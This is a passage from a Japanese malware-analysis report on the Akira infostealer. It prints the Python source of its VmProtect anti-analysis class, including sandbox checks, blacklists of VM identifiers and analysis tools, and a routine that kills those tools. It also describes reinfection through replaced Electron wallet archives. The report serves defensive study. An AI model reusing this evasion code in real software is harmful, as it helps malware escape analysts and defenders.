ファイルを保護されたシステムファイルとしてマークする",[532,4565,4566],{},"これにより、標準のWindowsエクスプローラーの表示からファイルが事実上消え、ステルス性が高まります。",[862,4568,4570],{"id":4569},"_724-再感染の手法","7.2.4 再感染の手法",[532,4572,868],{},[532,4574,4575,4576,620,4579,4582,4583,4585],{},"このマルウェアは、Electronアプリケーションの乗っ取りによる自己複製と再感染に対応しています。具体的には、Electronベースのデスクトップウォレット（",[539,4577,4578],{},"Exodus",[539,4580,4581],{},"Atomic Wallet"," など）の ",[550,4584,1049],{}," アーカイブを置き換え、正規のアプリ起動時に悪意あるJavaScriptを実行させます。",[532,4587,4588],{},"このロジックは、既知のウォレットアプリのパスを探します。",[588,4590,4592],{"className":4486,"code":4591,"language":4488,"meta":594,"style":594},"path = os.getenv(\"APPDATA\") + \"\\\\Exodus\\\\resources\\\\app.asar\"\n",[550,4593,4594],{"__ignoreMap":594},[1680,4595,4596],{"class":1682,"line":1683},[1680,4597,4591],{},[532,4599,4600,4601,4603],{},"対象のファイルが存在する場合、武器化されたアーカイブで上書きされます。これにより、",[550,4602,574],{}," を手作業で駆除した後でも永続化が保たれます。",[714,4605,4607,4608,2012],{"id":4606},"_73-アンチ解析回避クラス-vmprotect","7.3 アンチ解析／回避（クラス: ",[550,4609,4610],{},"VmProtect",[532,4612,720],{},[862,4614,4616],{"id":4615},"_731-はじめに","7.3.1 はじめに",[532,4618,868],{},[532,4620,4621,4622,4625,4626,4628],{},"現代のマルウェアキャンペーンにおいて、仮想環境やサンドボックス環境での解析を回避することはステルス性の維持に不可欠です。",[4623,4624,650],"em",{}," は包括的なVM／サンドボックス検出モジュール（",[550,4627,4610],{},"）を実装しており、解析者が管理する環境を積極的に識別して実行を中断します。本レポートでは、各検出手法を分解し、ブラックリストの定義全体を含む正確なコード断片を示したうえで、用いた解析手法を概説します。",[862,4630,4632],{"id":4631},"_732-概要","7.3.2 概要",[532,4634,868],{},[532,4636,4637,4639],{},[550,4638,4610],{}," クラスは、解析環境で実行を早期に中断するための堅牢なVM・サンドボックス検出を実装しています。検出には2つのレベルがあります。",[604,4641,4642,4648],{},[607,4643,4644,4647],{},[539,4645,4646],{},"レベル1",": 軽量で高速なチェック",[607,4649,4650,4653],{},[539,4651,4652],{},"レベル2",": 詳細で網羅的な調査",[532,4655,4656,1267,4659,4662,4663,4666],{},[550,4657,4658],{},"VmProtect.isVM(level)",[550,4660,4661],{},"True"," を返すと、マルウェアは ",[550,4664,4665],{},"sys.exit()"," を呼び出し、それ以上の解析を阻みます。",[862,4668,4670],{"id":4669},"_733-検出レベル","7.3.3 検出レベル",[532,4672,868],{},[1393,4674,4675,4676],{},"\n  ",[1409,4677,4678,4675,4688,4675,4698,4675,4707,4675,4716,4675,4726,4675,4735,4675,4744],{},[1399,4679,4680,4681,4680,4684,4680,4686,4675],{},"\n    ",[1402,4682,4683],{},"機能",[1402,4685,4646],{},[1402,4687,4652],{},[1399,4689,4680,4690,4680,4693,4680,4696,4675],{},[1414,4691,4692],{},"HTTPSimulation",[1414,4694,4695],{},"✔️",[1414,4697,4695],{},[1399,4699,4680,4700,4680,4703,4680,4705,4675],{},[1414,4701,4702],{},"コンピューター名のブラックリスト",[1414,4704,4695],{},[1414,4706,4695],{},[1399,4708,4680,4709,4680,4712,4680,4714,4675],{},[1414,4710,4711],{},"ユーザーアカウントのブラックリスト",[1414,4713,4695],{},[1414,4715,4695],{},[1399,4717,4680,4718,4680,4721,4680,4724,4675],{},[1414,4719,4720],{},"ハードウェアUUIDのブラックリスト",[1414,4722,4723],{},"❌",[1414,4725,4695],{},[1399,4727,4680,4728,4680,4731,4680,4733,4675],{},[1414,4729,4730],{},"パブリックホスティングのAPIチェック",[1414,4732,4723],{},[1414,4734,4695],{},[1399,4736,4680,4737,4680,4740,4680,4742,4675],{},[1414,4738,4739],{},"レジストリとGPUの手がかり",[1414,4741,4723],{},[1414,4743,4695],{},[1399,4745,4680,4746,4680,4749,4680,4751,4675],{},[1414,4747,4748],{},"バックグラウンドでのタスク終了",[1414,4750,4695],{},[1414,4752,4695],{},[827,4754],{"className":4755},[830,831],[862,4757,4759,4760,4762],{"id":4758},"_734-vmprotect-のアーキテクチャ","7.3.4 ",[550,4761,4610],{}," のアーキテクチャ",[532,4764,868],{},[532,4766,4767,4769],{},[550,4768,4610],{}," クラスは、次の主要メソッドを公開しています。",[604,4771,4772,4779,4786,4793,4800,4807,4814,4821],{},[607,4773,4774],{},[539,4775,4776],{},[550,4777,4778],{},"checkUUID()",[607,4780,4781],{},[539,4782,4783],{},[550,4784,4785],{},"checkComputerName()",[607,4787,4788],{},[539,4789,4790],{},[550,4791,4792],{},"checkUsers()",[607,4794,4795],{},[539,4796,4797],{},[550,4798,4799],{},"checkHosting()",[607,4801,4802],{},[539,4803,4804],{},[550,4805,4806],{},"checkHTTPSimulation()",[607,4808,4809],{},[539,4810,4811],{},[550,4812,4813],{},"checkRegistry()",[607,4815,4816],{},[539,4817,4818],{},[550,4819,4820],{},"killTasks()",[607,4822,4823],{},[539,4824,4825],{},[550,4826,4827],{},"isVM(level)",[532,4829,4830,4831,4834],{},"各メソッドはブール値を返すか、回避のための処理を実行します。",[550,4832,4833],{},"isVM"," ラッパーは、指定されたレベルに応じてこれらのチェックを束ねます。",[1393,4836,4675,4837],{},[1409,4838,4839,4675,4850,4675,4864,4675,4878,4675,4891,4675,4904,4675,4917,4675,4930,4675,4945],{},[1399,4840,4680,4841,4680,4844,4680,4847,4675],{},[1402,4842,4843],{},"メソッド",[1402,4845,4846],{},"呼び出し元",[1402,4848,4849],{},"説明",[1399,4851,4680,4852,4680,4856,4680,4861,4675],{},[1414,4853,4854],{},[550,4855,4778],{},[1414,4857,4858],{},[550,4859,4860],{},"isVM(2)",[1414,4862,4863],{},"WMIのUUIDブラックリスト",[1399,4865,4680,4866,4680,4870,4680,4875,4675],{},[1414,4867,4868],{},[550,4869,4785],{},[1414,4871,4872],{},[550,4873,4874],{},"isVM(1,2)",[1414,4876,4877],{},"環境のホスト名の一致",[1399,4879,4680,4880,4680,4884,4680,4888,4675],{},[1414,4881,4882],{},[550,4883,4792],{},[1414,4885,4886],{},[550,4887,4874],{},[1414,4889,4890],{},"ユーザー名のブラックリスト",[1399,4892,4680,4893,4680,4897,4680,4901,4675],{},[1414,4894,4895],{},[550,4896,4799],{},[1414,4898,4899],{},[550,4900,4860],{},[1414,4902,4903],{},"ip-api.com経由のIPホスティング事業者チェック",[1399,4905,4680,4906,4680,4910,4680,4914,4675],{},[1414,4907,4908],{},[550,4909,4806],{},[1414,4911,4912],{},[550,4913,4874],{},[1414,4915,4916],{},"HTTPS傍受の検出",[1399,4918,4680,4919,4680,4923,4680,4927,4675],{},[1414,4920,4921],{},[550,4922,4813],{},[1414,4924,4925],{},[550,4926,4860],{},[1414,4928,4929],{},"レジストリとGPUドライバーの痕跡",[1399,4931,4680,4932,4680,4936,4680,4942,4675],{},[1414,4933,4934],{},[550,4935,4820],{},[1414,4937,4938,4941],{},[550,4939,4940],{},"isVM(...)"," が起動",[1414,4943,4944],{},"既知の解析プロセスを終了させる",[1399,4946,4680,4947,4680,4951,4680,4954,4675],{},[1414,4948,4949],{},[550,4950,4827],{},[1414,4952,4953],{},"init",[1414,4955,4956,4957,4959],{},"各チェックを束ね、",[550,4958,4820],{}," スレッドを呼び出す",[827,4961],{"className":4962},[830,831],[588,4964,4966],{"className":4486,"code":4965,"language":4488,"meta":594,"style":594},"@staticmethod\ndef isVM(level: int) -> bool:\n    # Always start background task-killer\n    Thread(target=VmProtect.killTasks, daemon=True).start()\n    if level == 1:\n        # Fast path: HTTPS, hostname & user\n        return (\n            VmProtect.checkHTTPSimulation()\n            or VmProtect.checkComputerName()\n            or VmProtect.checkUsers()\n        )\n    if level == 2:\n        # Deep scan: includes UUID, hosting, registry & GPU\n        try:\n            return (\n                VmProtect.checkHTTPSimulation()\n                or VmProtect.checkUUID()\n                or VmProtect.checkComputerName()\n                or VmProtect.checkUsers()\n                or VmProtect.checkHosting()\n                or VmProtect.checkRegistry()\n            )\n        except:\n            return False\n    return False\n",[550,4967,4968,4973,4978,4983,4988,4993,4998,5003,5008,5013,5018,5024,5030,5036,5042,5048,5054,5060,5066,5072,5078,5084,5090,5096,5102],{"__ignoreMap":594},[1680,4969,4970],{"class":1682,"line":1683},[1680,4971,4972],{},"@staticmethod\n",[1680,4974,4975],{"class":1682,"line":2058},[1680,4976,4977],{},"def isVM(level: int) -> bool:\n",[1680,4979,4980],{"class":1682,"line":2064},[1680,4981,4982],{},"    # Always start background task-killer\n",[1680,4984,4985],{"class":1682,"line":2070},[1680,4986,4987],{},"    Thread(target=VmProtect.killTasks, daemon=True).start()\n",[1680,4989,4990],{"class":1682,"line":2393},[1680,4991,4992],{},"    if level == 1:\n",[1680,4994,4995],{"class":1682,"line":2399},[1680,4996,4997],{},"        # Fast path: HTTPS, hostname & user\n",[1680,4999,5000],{"class":1682,"line":3051},[1680,5001,5002],{},"        return (\n",[1680,5004,5005],{"class":1682,"line":3846},[1680,5006,5007],{},"            VmProtect.checkHTTPSimulation()\n",[1680,5009,5010],{"class":1682,"line":3852},[1680,5011,5012],{},"            or VmProtect.checkComputerName()\n",[1680,5014,5015],{"class":1682,"line":4099},[1680,5016,5017],{},"            or VmProtect.checkUsers()\n",[1680,5019,5021],{"class":1682,"line":5020},11,[1680,5022,5023],{},"        )\n",[1680,5025,5027],{"class":1682,"line":5026},12,[1680,5028,5029],{},"    if level == 2:\n",[1680,5031,5033],{"class":1682,"line":5032},13,[1680,5034,5035],{},"        # Deep scan: includes UUID, hosting, registry & GPU\n",[1680,5037,5039],{"class":1682,"line":5038},14,[1680,5040,5041],{},"        try:\n",[1680,5043,5045],{"class":1682,"line":5044},15,[1680,5046,5047],{},"            return (\n",[1680,5049,5051],{"class":1682,"line":5050},16,[1680,5052,5053],{},"                VmProtect.checkHTTPSimulation()\n",[1680,5055,5057],{"class":1682,"line":5056},17,[1680,5058,5059],{},"                or VmProtect.checkUUID()\n",[1680,5061,5063],{"class":1682,"line":5062},18,[1680,5064,5065],{},"                or VmProtect.checkComputerName()\n",[1680,5067,5069],{"class":1682,"line":5068},19,[1680,5070,5071],{},"                or VmProtect.checkUsers()\n",[1680,5073,5075],{"class":1682,"line":5074},20,[1680,5076,5077],{},"                or VmProtect.checkHosting()\n",[1680,5079,5081],{"class":1682,"line":5080},21,[1680,5082,5083],{},"                or VmProtect.checkRegistry()\n",[1680,5085,5087],{"class":1682,"line":5086},22,[1680,5088,5089],{},"            )\n",[1680,5091,5093],{"class":1682,"line":5092},23,[1680,5094,5095],{},"        except:\n",[1680,5097,5099],{"class":1682,"line":5098},24,[1680,5100,5101],{},"            return False\n",[1680,5103,5105],{"class":1682,"line":5104},25,[1680,5106,5107],{},"    return False\n",[862,5109,5111],{"id":5110},"_735-uuidチェック-ハードウェアuuidによる仮想マシンの識別","7.3.5 UUIDチェック – ハードウェアUUIDによる仮想マシンの識別",[532,5113,868],{},[532,5115,5116],{},"マルウェアの回避手法としてよく使われるのが、基盤となるハードウェア環境のフィンガープリンティングです。仮想マシンを示す最も初期の識別子の1つがシステムのUUID（Universally Unique Identifier）です。VMwareやVirtualBoxといった仮想化プラットフォームは、予測可能なUUIDや使い回しのUUIDを生成することが多く、マルウェアはこれを手がかりに仮想化環境やサンドボックス環境で動作しているかどうかを推測できます。",[588,5118,5120],{"className":4486,"code":5119,"language":4488,"meta":594,"style":594},"@staticmethod\ndef checkUUID() -> bool:\n    try:\n        raw = subprocess.run(\n            \"wmic csproduct get uuid\", shell=True,\n            capture_output=True\n        ).stdout.splitlines()[2].decode().strip()\n    except:\n        raw = \"\"\n    return raw in VmProtect.BLACKLISTED_UUIDS\n",[550,5121,5122,5126,5131,5136,5141,5146,5151,5156,5161,5166],{"__ignoreMap":594},[1680,5123,5124],{"class":1682,"line":1683},[1680,5125,4972],{},[1680,5127,5128],{"class":1682,"line":2058},[1680,5129,5130],{},"def checkUUID() -> bool:\n",[1680,5132,5133],{"class":1682,"line":2064},[1680,5134,5135],{},"    try:\n",[1680,5137,5138],{"class":1682,"line":2070},[1680,5139,5140],{},"        raw = subprocess.run(\n",[1680,5142,5143],{"class":1682,"line":2393},[1680,5144,5145],{},"            \"wmic csproduct get uuid\", shell=True,\n",[1680,5147,5148],{"class":1682,"line":2399},[1680,5149,5150],{},"            capture_output=True\n",[1680,5152,5153],{"class":1682,"line":3051},[1680,5154,5155],{},"        ).stdout.splitlines()[2].decode().strip()\n",[1680,5157,5158],{"class":1682,"line":3846},[1680,5159,5160],{},"    except:\n",[1680,5162,5163],{"class":1682,"line":3852},[1680,5164,5165],{},"        raw = \"\"\n",[1680,5167,5168],{"class":1682,"line":4099},[1680,5169,5170],{},"    return raw in VmProtect.BLACKLISTED_UUIDS\n",[532,5172,5173],{},"このチェックは、Windows Management Instrumentation Command-line（WMIC）ツールを使ってホストマシンのUUIDを取得します。返された値は、仮想マシンのテンプレートや既知の解析環境に結び付けられたUUIDの選別済みリストと突き合わされます。",[862,5175,5177],{"id":5176},"_736-コンピューター名チェック-ホスト名によるサンドボックスと解析環境の検出","7.3.6 コンピューター名チェック – ホスト名によるサンドボックスと解析環境の検出",[532,5179,868],{},[532,5181,5182,5185],{},[550,5183,5184],{},"%COMPUTERNAME%"," 環境変数から取得できるシステムのホスト名は、しばしばその環境の手がかりを明かします。解析者は「DESKTOP-XXXXXXX」「WIN10ANALYSIS」のような既定のホスト名や即席のホスト名、さらには社内環境に紐づく名前を使いがちです。マルウェアはこれを利用し、システムのホスト名をブラックリストと照合します。",[588,5187,5189],{"className":4486,"code":5188,"language":4488,"meta":594,"style":594},"@staticmethod\ndef checkComputerName() -> bool:\n    name = os.getenv(\"computername\", \"\").lower()\n    return name in VmProtect.BLACKLISTED_COMPUTERNAMES\n\nBLACKLISTED_COMPUTERNAMES = (\n    '00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',\n    'desktop-vkeons4','ntt-eff-2w11wss',\n    # ... dozens more entries ...\n)\n",[550,5190,5191,5195,5200,5205,5210,5214,5219,5224,5229,5234],{"__ignoreMap":594},[1680,5192,5193],{"class":1682,"line":1683},[1680,5194,4972],{},[1680,5196,5197],{"class":1682,"line":2058},[1680,5198,5199],{},"def checkComputerName() -> bool:\n",[1680,5201,5202],{"class":1682,"line":2064},[1680,5203,5204],{},"    name = os.getenv(\"computername\", \"\").lower()\n",[1680,5206,5207],{"class":1682,"line":2070},[1680,5208,5209],{},"    return name in VmProtect.BLACKLISTED_COMPUTERNAMES\n",[1680,5211,5212],{"class":1682,"line":2393},[1680,5213,3843],{"emptyLinePlaceholder":325},[1680,5215,5216],{"class":1682,"line":2399},[1680,5217,5218],{},"BLACKLISTED_COMPUTERNAMES = (\n",[1680,5220,5221],{"class":1682,"line":3051},[1680,5222,5223],{},"    '00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',\n",[1680,5225,5226],{"class":1682,"line":3846},[1680,5227,5228],{},"    'desktop-vkeons4','ntt-eff-2w11wss',\n",[1680,5230,5231],{"class":1682,"line":3852},[1680,5232,5233],{},"    # ... dozens more entries ...\n",[1680,5235,5236],{"class":1682,"line":4099},[1680,5237,5238],{},")\n",[532,5240,5241],{},"一致が見つかった場合、マルウェアは実行を中止するか偽のペイロードを配置することを選び、完全な振る舞い解析を避けます。",[862,5243,5245],{"id":5244},"_737-ユーザーアカウントチェック-解析者アカウントや既定アカウントのプロファイリング","7.3.7 ユーザーアカウントチェック – 解析者アカウントや既定アカウントのプロファイリング",[532,5247,868],{},[532,5249,5250],{},"もう1つのヒューリスティックは、マルウェアが実行されているユーザー名を評価するものです。多くの仮想マシンテンプレートやサンドボックスは、「Abby」「Test」「wdagutilityaccount」といったありふれたユーザー名を使い回します。これらの名前はエントロピーが低く、オープンソースのサンドボックス環境にハードコードされていることも少なくありません。",[588,5252,5254],{"className":4486,"code":5253,"language":4488,"meta":594,"style":594},"@staticmethod\ndef checkUsers() -> bool:\n    user = os.getlogin().lower()\n    return user in VmProtect.BLACKLISTED_USERS\n\nBLACKLISTED_USERS = (\n    'wdagutilityaccount','abby','peter wilson','hmarc',\n    'a.monaldo','tvm',\n    # ... 30+ more entries ...\n)\n",[550,5255,5256,5260,5265,5270,5275,5279,5284,5289,5294,5299],{"__ignoreMap":594},[1680,5257,5258],{"class":1682,"line":1683},[1680,5259,4972],{},[1680,5261,5262],{"class":1682,"line":2058},[1680,5263,5264],{},"def checkUsers() -> bool:\n",[1680,5266,5267],{"class":1682,"line":2064},[1680,5268,5269],{},"    user = os.getlogin().lower()\n",[1680,5271,5272],{"class":1682,"line":2070},[1680,5273,5274],{},"    return user in VmProtect.BLACKLISTED_USERS\n",[1680,5276,5277],{"class":1682,"line":2393},[1680,5278,3843],{"emptyLinePlaceholder":325},[1680,5280,5281],{"class":1682,"line":2399},[1680,5282,5283],{},"BLACKLISTED_USERS = (\n",[1680,5285,5286],{"class":1682,"line":3051},[1680,5287,5288],{},"    'wdagutilityaccount','abby','peter wilson','hmarc',\n",[1680,5290,5291],{"class":1682,"line":3846},[1680,5292,5293],{},"    'a.monaldo','tvm',\n",[1680,5295,5296],{"class":1682,"line":3852},[1680,5297,5298],{},"    # ... 30+ more entries ...\n",[1680,5300,5301],{"class":1682,"line":4099},[1680,5302,5238],{},[532,5304,5305],{},"このチェックはユーザーのコンテキストに着目することで検出精度を高めます。ユーザーのコンテキストは、再起動や仮想マシンのスナップショットをまたいでも変わらないことがあるためです。",[862,5307,5309],{"id":5308},"_738-ホスティングチェック-パブリッククラウドインフラの検出","7.3.8 ホスティングチェック – パブリッククラウドインフラの検出",[532,5311,868],{},[532,5313,5314,5315,5318],{},"マルウェアの中には、感染したシステムが既知のデータセンターやクラウド事業者の環境にあるかどうかを外部のIPインテリジェンスサービスで確認するものがあります。この事例では、",[550,5316,5317],{},"ip-api.com"," に単純なHTTPリクエストを送り、そのIPが「hosting」として分類されているかを問い合わせます。",[588,5320,5322],{"className":4486,"code":5321,"language":4488,"meta":594,"style":594},"@staticmethod\ndef checkHosting() -> bool:\n    http = PoolManager(cert_reqs=\"CERT_NONE\")\n    try:\n        return http.request(\n            'GET',\n            'http://ip-api.com/line/?fields=hosting'\n        ).data.decode().strip() == 'true'\n    except:\n        return False\n",[550,5323,5324,5328,5333,5338,5342,5347,5352,5357,5362,5366],{"__ignoreMap":594},[1680,5325,5326],{"class":1682,"line":1683},[1680,5327,4972],{},[1680,5329,5330],{"class":1682,"line":2058},[1680,5331,5332],{},"def checkHosting() -> bool:\n",[1680,5334,5335],{"class":1682,"line":2064},[1680,5336,5337],{},"    http = PoolManager(cert_reqs=\"CERT_NONE\")\n",[1680,5339,5340],{"class":1682,"line":2070},[1680,5341,5135],{},[1680,5343,5344],{"class":1682,"line":2393},[1680,5345,5346],{},"        return http.request(\n",[1680,5348,5349],{"class":1682,"line":2399},[1680,5350,5351],{},"            'GET',\n",[1680,5353,5354],{"class":1682,"line":3051},[1680,5355,5356],{},"            'http://ip-api.com/line/?fields=hosting'\n",[1680,5358,5359],{"class":1682,"line":3846},[1680,5360,5361],{},"        ).data.decode().strip() == 'true'\n",[1680,5363,5364],{"class":1682,"line":3852},[1680,5365,5160],{},[1680,5367,5368],{"class":1682,"line":4099},[1680,5369,5370],{},"        return False\n",[532,5372,5373],{},"これにより、マルウェアはMicrosoft Azure、AWS、DigitalOceanなどが保有するインフラ上で動作しているかどうかを判断できます。サンドボックスを示す危険信号です。",[862,5375,5377],{"id":5376},"_739-httpsシミュレーションチェック-ssl傍受の探索","7.3.9 HTTPSシミュレーションチェック – SSL傍受の探索",[532,5379,868],{},[532,5381,5382,5383,5386],{},"SSLインスペクションが行われている環境（企業ネットワークや研究ネットワークでよく見られます）を見分けるため、マルウェアは ",[550,5384,5385],{},".in"," 配下のランダムなサブドメインに無害なHTTPSリクエストを送ります。DNSフィルタリング、傍受プロキシ、証明書ピン留めの失敗などで接続が失敗した場合、それは解析されている兆候かもしれません。",[588,5388,5390],{"className":4486,"code":5389,"language":4488,"meta":594,"style":594},"@staticmethod\ndef checkHTTPSimulation() -> bool:\n    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n    try:\n        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n    except:\n        return False\n    return True\n",[550,5391,5392,5396,5401,5406,5410,5415,5419,5423],{"__ignoreMap":594},[1680,5393,5394],{"class":1682,"line":1683},[1680,5395,4972],{},[1680,5397,5398],{"class":1682,"line":2058},[1680,5399,5400],{},"def checkHTTPSimulation() -> bool:\n",[1680,5402,5403],{"class":1682,"line":2064},[1680,5404,5405],{},"    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n",[1680,5407,5408],{"class":1682,"line":2070},[1680,5409,5135],{},[1680,5411,5412],{"class":1682,"line":2393},[1680,5413,5414],{},"        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n",[1680,5416,5417],{"class":1682,"line":2399},[1680,5418,5160],{},[1680,5420,5421],{"class":1682,"line":3051},[1680,5422,5370],{},[1680,5424,5425],{"class":1682,"line":3846},[1680,5426,5427],{},"    return True\n",[532,5429,5430],{},"この控えめな手法は、警報を鳴らすことも専用のインフラを必要とすることもなく、ネットワーク経路の健全性を試します。",[862,5432,5434],{"id":5433},"_7310-レジストリとgpuドライバーのチェック-仮想gpuのシグネチャ検出","7.3.10 レジストリとGPUドライバーのチェック – 仮想GPUのシグネチャ検出",[532,5436,868],{},[532,5438,5439,5440,5443],{},"一部の仮想環境は、レジストリキーやGPUドライバーの記述子によって正体を露わにします。Akiraは2本立ての戦略を取ります。グラフィックサブシステムに紐づくレジストリエントリを照会し、それとは別に ",[550,5441,5442],{},"wmic"," の出力から不審なGPU文字列を調べます。",[588,5445,5447],{"className":4486,"code":5446,"language":4488,"meta":594,"style":594},"@staticmethod\ndef checkRegistry() -> bool:\n    r1 = subprocess.run(\n        \"REG QUERY HKLM\\\\...\\\\0000\\\\DriverDesc 2\",\n        capture_output=True, shell=True)\n    r2 = subprocess.run(\n        \"REG QUERY HKLM\\\\...\\\\0000\\\\ProviderName 2\",\n        capture_output=True, shell=True)\n\n    # GPU name check\n    gpu_out = subprocess.run(\n        \"wmic path win32_VideoController get name\",\n        capture_output=True, shell=True).stdout.decode().splitlines()\n    gpucheck = any(x in gpu_out[2].lower()\n                   for x in (\"virtualbox\", \"vmware\"))\n    return (r1.returncode != 1 and r2.returncode != 1) or gpucheck\n",[550,5448,5449,5453,5458,5463,5468,5473,5478,5483,5487,5491,5496,5501,5506,5511,5516,5521],{"__ignoreMap":594},[1680,5450,5451],{"class":1682,"line":1683},[1680,5452,4972],{},[1680,5454,5455],{"class":1682,"line":2058},[1680,5456,5457],{},"def checkRegistry() -> bool:\n",[1680,5459,5460],{"class":1682,"line":2064},[1680,5461,5462],{},"    r1 = subprocess.run(\n",[1680,5464,5465],{"class":1682,"line":2070},[1680,5466,5467],{},"        \"REG QUERY HKLM\\\\...\\\\0000\\\\DriverDesc 2\",\n",[1680,5469,5470],{"class":1682,"line":2393},[1680,5471,5472],{},"        capture_output=True, shell=True)\n",[1680,5474,5475],{"class":1682,"line":2399},[1680,5476,5477],{},"    r2 = subprocess.run(\n",[1680,5479,5480],{"class":1682,"line":3051},[1680,5481,5482],{},"        \"REG QUERY HKLM\\\\...\\\\0000\\\\ProviderName 2\",\n",[1680,5484,5485],{"class":1682,"line":3846},[1680,5486,5472],{},[1680,5488,5489],{"class":1682,"line":3852},[1680,5490,3843],{"emptyLinePlaceholder":325},[1680,5492,5493],{"class":1682,"line":4099},[1680,5494,5495],{},"    # GPU name check\n",[1680,5497,5498],{"class":1682,"line":5020},[1680,5499,5500],{},"    gpu_out = subprocess.run(\n",[1680,5502,5503],{"class":1682,"line":5026},[1680,5504,5505],{},"        \"wmic path win32_VideoController get name\",\n",[1680,5507,5508],{"class":1682,"line":5032},[1680,5509,5510],{},"        capture_output=True, shell=True).stdout.decode().splitlines()\n",[1680,5512,5513],{"class":1682,"line":5038},[1680,5514,5515],{},"    gpucheck = any(x in gpu_out[2].lower()\n",[1680,5517,5518],{"class":1682,"line":5044},[1680,5519,5520],{},"                   for x in (\"virtualbox\", \"vmware\"))\n",[1680,5522,5523],{"class":1682,"line":5050},[1680,5524,5525],{},"    return (r1.returncode != 1 and r2.returncode != 1) or gpucheck\n",[532,5527,5528],{},"こうしたハードウェア層のチェックは、仮想化されたディスプレイアダプターを十分に隠しきれていない解析環境に対して特に有効です。",[862,5530,5532],{"id":5531},"_7311-タスクの強制終了-解析ツールをリアルタイムに抑え込む","7.3.11 タスクの強制終了 – 解析ツールをリアルタイムに抑え込む",[532,5534,868],{},[532,5536,5537],{},"Akiraは受動的に検出を避けるだけでなく、さらに一歩進んで既知の解析ツールやデバッグツールを能動的に終了させます。バックグラウンドスレッドを起こし、プロセスのリストを走査して一致するものをすべて強制終了します。",[588,5539,5541],{"className":4486,"code":5540,"language":4488,"meta":594,"style":594},"@staticmethod\ndef killTasks() -> None:\n    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n\nBLACKLISTED_TASKS = (\n  'wireshark','fiddler','ida64','x32dbg','vmtoolsd',\n  # ... dozens more ...\n  'glasswire','requestly'\n)\n",[550,5542,5543,5547,5552,5557,5561,5566,5571,5576,5581],{"__ignoreMap":594},[1680,5544,5545],{"class":1682,"line":1683},[1680,5546,4972],{},[1680,5548,5549],{"class":1682,"line":2058},[1680,5550,5551],{},"def killTasks() -> None:\n",[1680,5553,5554],{"class":1682,"line":2064},[1680,5555,5556],{},"    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n",[1680,5558,5559],{"class":1682,"line":2070},[1680,5560,3843],{"emptyLinePlaceholder":325},[1680,5562,5563],{"class":1682,"line":2393},[1680,5564,5565],{},"BLACKLISTED_TASKS = (\n",[1680,5567,5568],{"class":1682,"line":2399},[1680,5569,5570],{},"  'wireshark','fiddler','ida64','x32dbg','vmtoolsd',\n",[1680,5572,5573],{"class":1682,"line":3051},[1680,5574,5575],{},"  # ... dozens more ...\n",[1680,5577,5578],{"class":1682,"line":3846},[1680,5579,5580],{},"  'glasswire','requestly'\n",[1680,5582,5583],{"class":1682,"line":3852},[1680,5584,5238],{},[532,5586,5587],{},"これらのツールはインシデント対応者やマルウェア解析者が日常的に使うものですが、意味のある振る舞いの痕跡を収集する前に無力化されてしまいます。",[532,5589,5590],{},[539,5591,5592],{},"まとめ",[532,5594,5595],{},"Akiraは、環境変数やレジストリキーからネットワークの探索やタスク一覧に至るまで、システムの複数の層を狙う洗練されたアンチ解析手法の一式を備えています。これらのメカニズムは、自動化されたサンドボックスと手作業の検査環境の双方を検出し回避するよう設計されています。",[532,5597,5598],{},"受動的なフィンガープリンティングと能動的な抑え込み（タスクの強制終了など）の組み合わせは、中堅どころのマルウェアファミリーでさえ多層的な回避ロジックを組み込むようになった実情を示しています。",[862,5600,5602],{"id":5601},"_7312-ブラックリストの全体と検出関数","7.3.12 ブラックリストの全体と検出関数",[532,5604,868],{},[532,5606,5607],{},[539,5608,5609],{},"ブラックリスト対象のハードウェアUUID",[588,5611,5614],{"className":5612,"code":5613,"language":593},[591],"BLACKLISTED_UUIDS = (\n    '7AB5C494-39F5-4941-9163-47F54D6D5016',\n    '032E02B4-0499-05C3-0806-3C0700080009',\n    '03DE0294-0480-05DE-1A06-350700080009',\n    '11111111-2222-3333-4444-555555555555',\n    '6F3CA5EC-BEC9-4A4D-8274-11168F640058',\n    'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548',\n    '4C4C4544-0050-3710-8058-CAC04F59344A',\n    '00000000-0000-0000-0000-AC1F6BD04972',\n    '00000000-0000-0000-0000-000000000000',\n    '5BD24D56-789F-8468-7CDC-CAA7222CC121',\n    '49434D53-0200-9065-2500-65902500E439',\n    '49434D53-0200-9036-2500-36902500F022',\n    '777D84B3-88D1-451C-93E4-D235177420A7',\n    '49434D53-0200-9036-2500-369025000C65',\n    'B1112042-52E8-E25B-3655-6A4F54155DBF',\n    '00000000-0000-0000-0000-AC1F6BD048FE',\n    'EB16924B-FB6D-4FA1-8666-17B91F62FB37',\n    'A15A930C-8251-9645-AF63-E45AD728C20C',\n    '67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3',\n    'C7D23342-A5D4-68A1-59AC-CF40F735B363',\n    '63203342-0EB0-AA1A-4DF5-3FB37DBB0670',\n    '44B94D56-65AB-DC02-86A0-98143A7423BF',\n    '6608003F-ECE4-494E-B07E-1C4615D1D93C',\n    'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A',\n    '49434D53-0200-9036-2500-369025003AF0',\n    '8B4E8278-525C-7343-B825-280AEBCD3BCB',\n    '4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27',\n    '79AF5279-16CF-4094-9758-F88A616D81B4',\n    'FE822042-A70C-D08B-F1D1-C207055A488F',\n    '76122042-C286-FA81-F0A8-514CC507B250',\n    '481E2042-A1AF-D390-CE06-A8F783B1E76A',\n    'F3988356-32F5-4AE1-8D47-FD3B8BAFBD4C',\n    '9961A120-E691-4FFE-B67B-F0E4115D5919'\n)\n",[550,5615,5613],{"__ignoreMap":594},[532,5617,5618],{},[539,5619,5620],{},"ブラックリスト対象のコンピューター名",[588,5622,5625],{"className":5623,"code":5624,"language":593},[591],"BLACKLISTED_COMPUTERNAMES = (\n    '00900BC83802', 'bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr',\n    'b30f0242-1c6a-4', 'desktop-vrsqlag', 'q9iatrkprh', 'xc64zb',\n    'desktop-d019gdm', 'desktop-wi8clet', 'server1', 'lisa-pc', 'john-pc',\n    'desktop-b0t93d6', 